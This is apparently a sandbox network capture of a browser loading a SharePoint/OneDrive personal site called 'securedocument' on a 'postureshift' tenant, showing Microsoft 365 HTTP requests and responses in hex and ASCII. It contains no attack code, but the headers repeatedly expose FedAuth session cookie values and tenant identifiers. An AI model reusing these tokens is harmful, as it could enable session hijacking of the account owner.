2025-03-24 15:04:00 UTC	5002	IN	Data Raw: 66 69 63 65 2e 63 6f 6d 2f 5c 22 2c 5c 22 57 65 62 43 68 61 74 53 44 4b 55 72 6c 5c 22 3a 5c 22 68 74 74 70 73 3a 2f 2f 73 77 63 2e 63 64 6e 2e 73 6b 79 70 65 2e 63 6f 6d 2f 73 64 6b 2f 76 31 2f 73 64 6b 2e 6d 69 6e 2e 6a 73 5c 22 2c 5c 22 57 6f 72 6b 6c 6f 61 64 49 64 5c 22 3a 5c 22 53 68 61 72 65 70 6f 69 6e 74 5c 22 7d 22 2c 22 43 6f 6d 6d 75 6e 69 74 79 4c 69 6e 6b 22 3a 7b 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 6e 75 6c 6c 2c 22 42 72 61 6e 64 42 61 72 54 65 78 74 22 3a 6e 75 6c 6c 2c 22 46 6f 6e 74 49 63 6f 6e 43 73 73 22 3a 6e 75 6c 6c 2c 22 49 64 22 3a 22 53 68 65 6c 6c 43 6f 6d 6d 75 6e 69 74 79 22 2c 22 4d 65 6e 75 4e 61 6d 65 22 3a 6e 75 6c 6c 2c 22 53 65 72 76 69 63 65 49 64 22 3a 6e 75 6c 6c 2c 22 53 75 62 4c 69 6e 6b 73 22 3a Data Ascii: fice.com/\",\"WebChatSDKUrl\":\"https://swc.cdn.skype.com/sdk/v1/sdk.min.js\",\"WorkloadId\":\"Sharepoint\"}","CommunityLink":{"BackgroundColor":null,"BrandBarText":null,"FontIconCss":null,"Id":"ShellCommunity","MenuName":null,"ServiceId":null,"SubLinks":

Timestamp	Bytes transferred	Direction	Data
2025-03-24 15:04:00 UTC	603	OUT	OPTIONS /api/report?FrontEnd=AkamaiCDNWorldWide&DestinationEndpoint=EDISON&ASN=20940&Country=US&Region=NJ&RequestIdentifier=0.86112317.1742828639.1ec3844&TotalRTCDNTime=98&CompressionType=gzip&FileSize=42635 HTTP/1.1 Host: m365cdn.nel.measure.office.net Connection: keep-alive Origin: https://res-1.cdn.office.net Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-24 15:04:00 UTC	319	IN	HTTP/1.1 200 OK Content-Type: text/html Content-Length: 7 Date: Mon, 24 Mar 2025 15:04:00 GMT Connection: close Access-Control-Allow-Headers: content-type Access-Control-Allow-Credentials: false Access-Control-Allow-Methods: * Access-Control-Allow-Methods: GET, OPTIONS, POST Access-Control-Allow-Origin: *
2025-03-24 15:04:00 UTC	7	IN	Data Raw: 4f 50 54 49 4f 4e 53 Data Ascii: OPTIONS

Timestamp	Bytes transferred	Direction	Data
2025-03-24 15:04:00 UTC	578	OUT	POST /api/report?FrontEnd=AkamaiCDNWorldWide&DestinationEndpoint=EDISON&ASN=20940&Country=US&Region=NJ&RequestIdentifier=0.86112317.1742828639.1ec3844&TotalRTCDNTime=98&CompressionType=gzip&FileSize=42635 HTTP/1.1 Host: m365cdn.nel.measure.office.net Connection: keep-alive Content-Length: 483 Content-Type: application/reports+json Origin: https://res-1.cdn.office.net User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-24 15:04:00 UTC	483	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 32 30 30 39 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 70 6f 73 74 75 72 65 73 68 69 66 74 2d 6d 79 2e 73 68 61 72 65 70 6f 69 6e 74 2e 63 6f 6d 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 31 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 32 33 2e 32 31 39 2e 31 36 31 2e 31 34 34 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 32 30 30 2c 22 74 79 70 65 22 3a 22 6f 6b 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f Data Ascii: [{"age":0,"body":{"elapsed_time":2009,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://postureshift-my.sharepoint.com/","sampling_fraction":0.01,"server_ip":"23.219.161.144","status_code":200,"type":"ok"},"type":"network-erro
2025-03-24 15:04:01 UTC	399	IN	HTTP/1.1 429 Too Many Requests Content-Length: 0 x-ms-middleware-request-id: 00000000-0000-0000-0000-000000000000 Request-Context: appId=cid-v1:bdc28cee-e7d0-4fb8-ae30-555e54e91d16 Date: Mon, 24 Mar 2025 15:04:00 GMT Connection: close Access-Control-Allow-Credentials: false Access-Control-Allow-Methods: * Access-Control-Allow-Methods: GET, OPTIONS, POST Access-Control-Allow-Origin: *

Timestamp	Bytes transferred	Direction	Data
2025-03-24 15:04:00 UTC	1614	OUT	GET /personal/securedocument_postureshift_com/_api/v2.1/graphql HTTP/1.1 Host: postureshift-my.sharepoint.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVzdIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVGeFhp [TRUNCATED]
2025-03-24 15:04:01 UTC	3223	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 87 Content-Type: application/json P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVzdIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVG [TRUNCATED] X-NetworkStatistics: 0,4194720,0,251,495418,531125,531125,46054 X-SharePointHealthScore: 3 X-AspNet-Version: 4.0.30319 IsOCDI: 0 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: b7ad8da1-d038-8000-6ce4-9e27fe42c7ae request-id: b7ad8da1-d038-8000-6ce4-9e27fe42c7ae MS-CV: oY2ttzjQAIBs5J4n/kLHrg.0 Alt-Svc: h3=":443";ma=86400 Report-To: {"group":"network-errors","max_age":7200,"endpoints":[{"url":"https://spo.nel.measure.office.net/api/report?tenantId=00000000-0000-0000-0000-000000000000&destinationEndpoint=Edge-Prod-EWR31r5c&frontEnd=AFD&RemoteIP=161.77.13.0"}]} NEL: {"report_to":"network-errors","max_age":7200,"success_fraction":0.001,"failure_fraction":1.0} Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com m365.cloud.microsoft .cloud.microsoft .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com .onedrive.live.com securebroker.sharepointonline.com; X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25905 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 8960486BC05B4EAB908AA35C4594ED34 Ref B: EWR311000105031 Ref C: 2025-03-24T15:04:01Z Date: Mon, 24 Mar 2025 15:04:01 GMT Connection: close
2025-03-24 15:04:01 UTC	87	IN	Data Raw: 7b 22 65 72 72 6f 72 73 22 3a 5b 7b 22 6d 65 73 73 61 67 65 22 3a 22 41 20 71 75 65 72 79 20 69 73 20 72 65 71 75 69 72 65 64 2e 22 2c 22 65 78 74 65 6e 73 69 6f 6e 73 22 3a 7b 22 63 6f 64 65 22 3a 22 45 58 45 43 55 54 49 4f 4e 5f 45 52 52 4f 52 22 7d 7d 5d 7d Data Ascii: {"errors":[{"message":"A query is required.","extensions":{"code":"EXECUTION_ERROR"}}]}

Timestamp	Bytes transferred	Direction	Data
2025-03-24 15:04:01 UTC	1887	OUT	GET /_layouts/15/images/BLANK.gif HTTP/1.1 Host: postureshift-my.sharepoint.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://postureshift-my.sharepoint.com/personal/securedocument_postureshift_com/_layouts/15/onedrive.aspx?id=%2Fpersonal%2Fsecuredocument%5Fpostureshift%5Fcom%2FDocuments%2FSharePoint&ga=1 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVzdIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVGeFhp [TRUNCATED]
2025-03-24 15:04:01 UTC	1949	IN	HTTP/1.1 200 OK Cache-Control: max-age=31536000 Content-Length: 43 Content-Type: image/gif Last-Modified: Tue, 18 Mar 2025 07:40:20 GMT Accept-Ranges: bytes ETag: "ff35330d997db1:0" P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVzdIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVG [TRUNCATED] X-NetworkStatistics: 0,4194720,0,462,5246729,2102272,2102272,42634 SPRequestDuration: 15 SPIisLatency: 1 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25905 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 7ED1F940FE2E47AF9E313D8BADC91244 Ref B: EWR311000103023 Ref C: 2025-03-24T15:04:01Z Date: Mon, 24 Mar 2025 15:04:01 GMT Connection: close
2025-03-24 15:04:01 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Timestamp	Bytes transferred	Direction	Data
2025-03-24 15:04:01 UTC	2566	OUT	POST /personal/securedocument_postureshift_com/_api/web/GetListUsingPath(DecodedUrl=@a1)/RenderListDataAsStream?@a1=%27%2Fpersonal%2Fsecuredocument%5Fpostureshift%5Fcom%2FDocuments%27&RootFolder=%2Fpersonal%2Fsecuredocument%5Fpostureshift%5Fcom%2FDocuments%2FSharePoint&TryNewExperienceSingle=TRUE HTTP/1.1 Host: postureshift-my.sharepoint.com Connection: keep-alive Content-Length: 201 sec-ch-ua-platform: "Windows" Authorization: Bearer CollectSPPerfMetrics: SPSQLQueryCount sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 X-ServiceWorker-Strategy: CacheFirst X-Service-Worker-Prefetch-And-Coalesce: true X-SP-REQUESTRESOURCES: listUrl=%2Fpersonal%2Fsecuredocument%5Fpostureshift%5Fcom%2FDocuments User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept: application/json;odata=verbose Content-Type: application/json;odata=verbose Origin: https://postureshift-my.sharepoint.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://postureshift-my.sharepoint.com/personal/securedocument_postureshift_com/_layouts/15/onedrive.aspx?id=%2Fpersonal%2Fsecuredocument%5Fpostureshift%5Fcom%2FDocuments%2FSharePoint&ga=1 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVzdIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVGeFhp [TRUNCATED]
2025-03-24 15:04:01 UTC	201	OUT	Data Raw: 7b 22 70 61 72 61 6d 65 74 65 72 73 22 3a 7b 22 5f 5f 6d 65 74 61 64 61 74 61 22 3a 7b 22 74 79 70 65 22 3a 22 53 50 2e 52 65 6e 64 65 72 4c 69 73 74 44 61 74 61 50 61 72 61 6d 65 74 65 72 73 22 7d 2c 22 52 65 6e 64 65 72 4f 70 74 69 6f 6e 73 22 3a 35 36 39 31 31 34 33 2c 22 41 6c 6c 6f 77 4d 75 6c 74 69 70 6c 65 56 61 6c 75 65 46 69 6c 74 65 72 46 6f 72 54 61 78 6f 6e 6f 6d 79 46 69 65 6c 64 73 22 3a 74 72 75 65 2c 22 41 64 64 52 65 71 75 69 72 65 64 46 69 65 6c 64 73 22 3a 74 72 75 65 2c 22 52 65 71 75 69 72 65 46 6f 6c 64 65 72 43 6f 6c 6f 72 69 6e 67 46 69 65 6c 64 73 22 3a 74 72 75 65 7d 7d Data Ascii: {"parameters":{"__metadata":{"type":"SP.RenderListDataParameters"},"RenderOptions":5691143,"AllowMultipleValueFilterForTaxonomyFields":true,"AddRequiredFields":true,"RequireFolderColoringFields":true}}
2025-03-24 15:04:02 UTC	3452	IN	HTTP/1.1 200 OK Cache-Control: private, max-age=0 Transfer-Encoding: chunked Content-Type: application/json; charset=utf-8 Expires: Sun, 09 Mar 2025 15:04:01 GMT Last-Modified: Mon, 24 Mar 2025 15:04:01 GMT Vary: Origin P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVzdIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVG [TRUNCATED] X-NetworkStatistics: 0,4194497,0,369,3434886,2102272,2102272,43465 X-SharePointHealthScore: 2 X-SP-SERVERSTATE: ReadOnly=0 DATASERVICEVERSION: 3.0 SPClientServiceRequestDuration: 300 X-AspNet-Version: 4.0.30319 IsOCDI: 0 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: b7ad8da1-f066-8000-8668-84b328e506da request-id: b7ad8da1-f066-8000-8668-84b328e506da MS-CV: oY2tt2bwAICGaISzKOUG2g.0 Alt-Svc: h3=":443";ma=86400 Report-To: {"group":"network-errors","max_age":7200,"endpoints":[{"url":"https://spo.nel.measure.office.net/api/report?tenantId=81e50312-74cf-4ac5-b205-211e7cbe5add&destinationEndpoint=Edge-Prod-EWR31r5b&frontEnd=AFD&RemoteIP=161.77.13.0"}]} NEL: {"report_to":"network-errors","max_age":7200,"success_fraction":0.001,"failure_fraction":1.0} Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com m365.cloud.microsoft .cloud.microsoft .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com .onedrive.live.com securebroker.sharepointonline.com; X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25905 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 417A176862AE47D8A4DA3D682E7E76B1 Ref B: EWR311000103025 Ref C: 2025-03-24T15:04:01Z Date: Mon, 24 Mar 2025 15:04:01 GMT Connection: close
2025-03-24 15:04:02 UTC	719	IN	Data Raw: 32 63 38 0d 0a 7b 22 77 70 71 22 3a 22 22 2c 22 54 65 6d 70 6c 61 74 65 73 22 3a 7b 7d 2c 22 4c 69 73 74 44 61 74 61 22 3a 7b 20 22 52 6f 77 22 20 3a 20 0a 5b 7b 0d 0a 22 49 44 22 3a 20 22 31 32 22 2c 0d 0a 22 50 65 72 6d 4d 61 73 6b 22 3a 20 22 30 78 31 30 30 33 30 30 38 30 33 31 30 30 31 22 2c 0d 0a 22 46 53 4f 62 6a 54 79 70 65 22 3a 20 22 30 22 2c 0d 0a 22 48 54 4d 4c 5f 78 30 30 32 30 5f 46 69 6c 65 5f 78 30 30 32 30 5f 54 79 70 65 22 3a 20 22 22 2c 0d 0a 22 55 6e 69 71 75 65 49 64 22 3a 20 22 7b 30 32 41 38 42 34 35 42 2d 33 46 44 38 2d 34 42 45 34 2d 41 36 36 46 2d 44 43 35 35 36 34 38 39 33 32 44 33 7d 22 2c 0d 0a 22 50 72 6f 67 49 64 22 3a 20 22 22 2c 0d 0a 22 4e 6f 45 78 65 63 75 74 65 22 3a 20 22 30 22 2c 0d 0a 22 43 6f 6e 74 65 6e 74 54 79 70 Data Ascii: 2c8{"wpq":"","Templates":{},"ListData":{ "Row" : [{"ID": "12","PermMask": "0x1003008031001","FSObjType": "0","HTML_x0020_File_x0020_Type": "","UniqueId": "{02A8B45B-3FD8-4BE4-A66F-DC55648932D3}","ProgId": "","NoExecute": "0","ContentTyp
